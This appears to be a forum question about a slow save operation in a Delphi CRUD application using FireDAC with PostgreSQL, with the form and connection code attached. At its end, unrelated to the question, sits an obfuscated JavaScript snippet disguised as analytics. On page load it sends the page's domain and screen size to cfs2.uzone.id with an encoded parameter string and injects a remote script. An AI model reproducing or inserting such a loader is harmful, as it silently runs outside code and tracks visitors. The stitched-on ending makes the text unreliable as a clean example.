I
tried to make a simple CRUD application with trial version for
Postgresql database with Firedac connection component, but when I click
save button there is delay 4-6 seconds. is it because of a trial version like that?
//mainform
procedure TForm2.btnSaveClick(Sender: TObject);
var
Barang: TBARANG;
begin
Barang := TBarang.Create;
try
Barang.KODE_BARANG := Edit1.Text;
Barang.NAMA_BARANG := Edit2.Text;
Barang.HARGA_BELI := StrToFloat(Edit3.Text);
Barang.HARGA_JUAL := StrToFloat(Edit4.Text);
Manager.Save(Barang);
Edit1.Clear;
Edit2.Clear;
Edit3.Clear;
Edit4.Clear;
FormShow(Sender);
except
if not Manager.IsAttached(Barang) then
Barang.Free;
raise;
end;
ShowMessage('Barang saved.');
end;
procedure TForm2.FormCreate(Sender: TObject);
begin
//Connection := TFireDacFirebirdConnection.CreateConnection;
//Connection := TSQLiteSQLiteConnection.CreateConnection;
//Connection := TFireDacSQLiteConnection.CreateConnection;
Connection := TFireDacPostgreSQLConnection.CreateConnection;
//Connection := TdbGoPostgreSQLConnection.CreateConnection;
Manager := TObjectManager.Create(Connection);
end;
procedure TForm2.FormDestroy(Sender: TObject);
begin
Manager.Free;
end;
//connectionmodule
class function TFireDacPostgreSQLConnection.CreateConnection: IDBConnection;
var
DataModule: TFireDacPostgreSQLConnection;
begin
DataModule := TFireDacPostgreSQLConnection.Create(nil);
Result := TFireDacConnectionAdapter.Create(DataModule.Connection, 'PostgreSQL', DataModule);
end;
class function TFireDacPostgreSQLConnection.CreateFactory: IDBConnectionFactory;
begin
Result := TDBConnectionFactory.Create(
function: IDBConnection
begin
Result := CreateConnection;
end
);
end;
thanks
if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL31NdbnJsBpiuDGZ7V%2bD3O2yUhlctSpYzfD2QaJrsM2lzEGDdYEB4UXmicmGffIHF2yF6GvzlIshdJMk9NjKeVjvH5AFRYAVWXKTpn66pirhTfZEfFUHKPDxj8VCI8G72W0mPny%2fl6FqfAfhf%2b6GVd6gw4eMvC37jRFZAU5BdOwQrmVzPAoKmMVRaMakI1%2fJ7F9yheYuPlauSUNdKZOroW5GmstngnldgcJC3YFzUzF5ZwEi3GMR1XLCX9832TOANMi1%2fs3mZNibjT8a5RccIEIZyXY8EXPpDt2MctVtlPrqy9uxLHjvaA9Pgm%2fTXxT92Q2cuU5NgE67D6JpjclpNSNdEX71JsWFukvxZJUaefOIrANg%2fddA1O%2f9E3DlN7mtTztrwl5vswCSvyIiKYLfeYNGATQye7c7lXPgjnZumEo2SSW1Ov2EkW0DW%2bKjAaFlKGpxspYPesNDo8HQzu3Oz7ieJ3WAc1X3yRNkE5ln7CpHl3b%2bntrl98FiaIo48OSskUt4L%2fQbmS1zpKhJdaEUicaP%2bnUzfjbO7P7%2b2huQAXzpBgjPO1g5vIPIA%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};